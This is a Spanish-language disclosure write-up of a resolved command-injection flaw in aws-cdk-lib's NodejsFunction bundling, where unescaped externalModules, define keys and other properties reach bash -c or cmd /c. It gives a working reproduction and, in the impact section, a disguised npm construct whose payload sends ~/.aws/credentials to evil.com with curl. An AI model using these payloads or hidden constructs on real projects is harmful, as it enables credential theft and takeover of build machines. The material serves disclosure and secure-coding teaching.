Resumen
El construct NodejsFunction, del módulo aws-cdk-lib/aws-lambda-nodejs, prepara el empaquetado (bundling) de una función Lambda invocando a esbuild. Para ello arma una única cadena de texto con todos los argumentos y la entrega a un intérprete de órdenes del sistema: bash -c en Linux y macOS, o cmd /c en Windows.
El problema es que varias propiedades que controla quien escribe el código del proyecto —externalModules, define, loader, inject y esbuildArgs— se incrustan en esa cadena sin escapar ni entrecomillar. Como la cadena termina pasando por un intérprete, cualquier metacarácter (&, |, ;, ` `, $(...)`) que aparezca en esos valores deja de ser texto y se ejecuta como una orden más.
La consecuencia es inyección de comandos del sistema operativo (CWE-78): quien controle esas propiedades ejecuta órdenes arbitrarias en la máquina que corra cdk synth, cdk deploy o cdk diff.
Dónde falla
El fichero afectado es packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts. La orden de esbuild se construye como un array de fragmentos de texto, y los valores controlables se interpolan sin filtrarlos (los comentarios en mayúsculas son del investigador):
// bundling.ts, lines 245-266
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
// ...
...this.externals.map(external => `--external:${external}`), // LINE 255 — NO ESCAPING
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // LINE 256 — NO ESCAPING
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // LINE 257 — key NOT ESCAPED
// ...
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // LINE 265 — NO ESCAPING
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // LINE 266 — NO ESCAPING
];
Después, todos los fragmentos se unen con un espacio en una sola línea:
// bundling.ts, line 302
esbuildCommand.join(' ')
Y esa línea se ejecuta a través de un intérprete:
// bundling.ts, lines 334-349
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[
osPlatform === 'win32' ? '/c' : '-c',
localCommand, // <-- the unsanitized command string
],
{
env: { ...process.env, ...environment },
stdio: ['ignore', process.stderr, 'inherit'],
cwd,
windowsVerbatimArguments: osPlatform === 'win32',
});
exec es una envoltura fina sobre spawnSync en lib/util.ts:
// util.ts, line 74
export function exec(cmd: string, args: string[], options?: SpawnSyncOptions) {
const proc = spawnSync(cmd, args, options);
// ...
}
Al pasar la cadena completa como argumento de cmd /c o bash -c, es el intérprete del sistema quien la lee entera, y por eso los metacaracteres surten efecto.
Pasos de reproducción
El investigador parte de un proyecto CDK recién creado (requisitos: Node.js v18 o superior y npm).
- Crear el proyecto:
mkdir repro-cdk-bundling-rce
cd repro-cdk-bundling-rce
npm init -y
- Instalar las dependencias:
npm install aws-cdk-lib constructs esbuild typescript
npm install --save-dev aws-cdk ts-node
- Añadir un
tsconfig.json:
{
"compilerOptions": {
"target": "es2020",
"module": "commonjs",
"strict": true,
"skipLibCheck": true
}
}
- Crear la carpeta
lambday dentro el manejadorlambda/lambda-handler.ts:
mkdir lambda
// lambda/lambda-handler.ts
export const handler = async (event: any) => {
return { statusCode: 200, body: 'Hello' };
};
- Crear
app.tscon los valores de ataque en las propiedades de empaquetado. El carácter&cierra el argumento de esbuild y encadena una orden nueva:
import * as cdk from 'aws-cdk-lib';
import { Stack, StackProps } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import { Construct } from 'constructs';
import * as path from 'path';
export class ReproStack extends Stack {
constructor(scope: Construct, id: string, props?: StackProps) {
super(scope, id, props);
new NodejsFunction(this, 'MyHandler', {
entry: path.join(__dirname, 'lambda', 'lambda-handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
// INJECTION: The '&' character breaks out of the esbuild argument
// and executes a second command on the host OS.
externalModules: ['foo & echo PWNED_VIA_EXTERNAL > pwned_ext.txt'],
define: {
'FOO & echo PWNED_VIA_DEFINE > pwned_def.txt': 'bar'
}
}
});
}
}
const app = new cdk.App();
new ReproStack(app, 'ReproStack');
app.synth();
- Lanzar la síntesis, que dispara el empaquetado local:
npx ts-node app.ts
En ese momento CDK construye y ejecuta esta orden (capturada en tiempo de ejecución):
npx.cmd --no-install esbuild --bundle "...\lambda-handler.ts" --target=node20 --platform=node --outfile="...\index.js" --external:foo & echo PWNED_VIA_EXTERNAL > pwned_ext.txt --define:FOO & echo PWNED_VIA_DEFINE > pwned_def.txt="bar"
Los & parten lo que debería ser una sola orden en tres: primero esbuild se ejecuta con normalidad (--external:foo), y después corren las dos órdenes coladas por quien definió las propiedades (echo PWNED_VIA_EXTERNAL > pwned_ext.txt y echo PWNED_VIA_DEFINE > pwned_def.txt="bar").
- Comprobar el resultado: los ficheros aparecen en la carpeta del proyecto porque las órdenes se ejecutaron.
# On Windows:
type pwned_ext.txt
type pwned_def.txt
# On Linux/macOS:
cat pwned_ext.txt
cat pwned_def.txt
El investigador señala que externalModules y las claves de define son los puntos más directos, porque no tienen ningún filtrado y aceptan cadenas arbitrarias. En otras propiedades hay escapado parcial: en define el valor pasa por JSON.stringify (pero no la clave), y banner y footer también usan JSON.stringify.
Impacto
El código de empaquetado corre en la máquina que ejecuta cdk synth, cdk deploy o cdk diff: el portátil de quien desarrolla o, sobre todo, la máquina de CI/CD. El investigador describe dos vías para que las propiedades maliciosas lleguen a un proyecto ajeno:
- Construct publicado en npm (cadena de suministro). Alguien publica un paquete que ofrece un construct "cómodo" que envuelve a
NodejsFunctiony mete su carga entre valores de apariencia legítima. Cualquier proyecto que lo importe y hagacdk synthejecuta las órdenes. El ejemplo del reporte esconde el payload entre módulos externos normales:
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Attacker payload hidden among legitimate-looking externals
'lodash & curl https://evil.com/exfil?data=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
- Pull request malicioso. Un PR a un proyecto CDK (abierto o interno) cambia la configuración de
bundlingde unaNodejsFunctionpara incluir el payload. Cuando quien revisa, o el pipeline, ejecutacdk synth, la carga se ejecuta.
Según el reporte, con eso se puede robar credenciales (~/.aws/credentials, variables de entorno, secretos de CI/CD), abrir un shell inverso para mantener acceso a la máquina de compilación, manipular los artefactos de build (incluido inyectar puertas traseras en el código Lambda desplegado) y exfiltrar código fuente, credenciales de bases de datos o claves privadas.
Remediación
El reporte propone tres medidas, de la más sólida a la más defensiva:
- No construir una cadena para el intérprete. En lugar de armar una sola línea y pasarla a
cmd /cobash -c, invocar esbuild con los argumentos ya separados en un array,spawnSync('esbuild', [...args]), sin que intervenga ningún intérprete. Así los metacaracteres dejan de tener significado. - Si hace falta el intérprete, escapar. Escapar todos los valores según el intérprete de destino antes de interpolarlos: en Windows,
&,|,>,<,^, etc.; en Linux,;,&,|,$, ```, etc. - Validar la entrada. Exigir que valores como las entradas de
externalModulescumplan el patrón de un nombre de paquete npm (por ejemplo/^[@a-z0-9][a-z0-9._\/-]*$/) y rechazar cualquier cosa con metacaracteres.
El investigador subraya que la raíz es sistémica: todo el ensamblado de la orden en aws-lambda-nodejs carece de filtrado antes de llegar al intérprete, por lo que el arreglo de fondo es eliminar la ejecución vía shell. Relaciona este fallo con otro que había reportado por separado (informe #3534806) en el mismo módulo, a través de las opciones de compilación de tsconfig.json: distinto punto de entrada, pero el mismo sumidero (exec() → spawnSync con cmd/bash). A diferencia de aquel, que exigía preCompilation: true, este está activo siempre, porque la ruta de empaquetado local procesa estas propiedades sin condiciones.
Datos del caso
- Programa: aws_vdp (AWS). Activo: el paquete npm
aws-cdk-lib. - Tipo: inyección de comandos del sistema operativo (CWE-78).
- Severidad: alta.
- Estado: resuelto.
- Fechas: enviado el 17-feb-2026, divulgado el 11-jun-2026.
Qué aprender de este caso
- En herramientas de infraestructura como código, el peligro no está solo en lo que teclea quien ataca: basta con controlar un valor de configuración que acabe en un
cdk synthdentro de un pipeline. Al revisar un construct o una dependencia de terceros, mira qué propiedades suyas terminan en una línea de comandos. - El patrón a buscar es el de siempre: valores que se concatenan en una cadena y se entregan a
spawnSync/execconbash -cocmd /c. Si ves un.join(' ')seguido de una ejecución por intérprete, revisa de dónde sale cada fragmento. JSON.stringifyprotegía el valor dedefine, pero la clave iba tal cual, y por ahí entraba la inyección. Cuando entrecomilles un par clave-valor, trata los dos lados por igual.- La defensa de fondo es pasar los argumentos como array a
spawnSyncsin intérprete, no escapar a mano: el escapado depende del intérprete (no es igual encmdque enbash) y es fácil olvidar un metacarácter.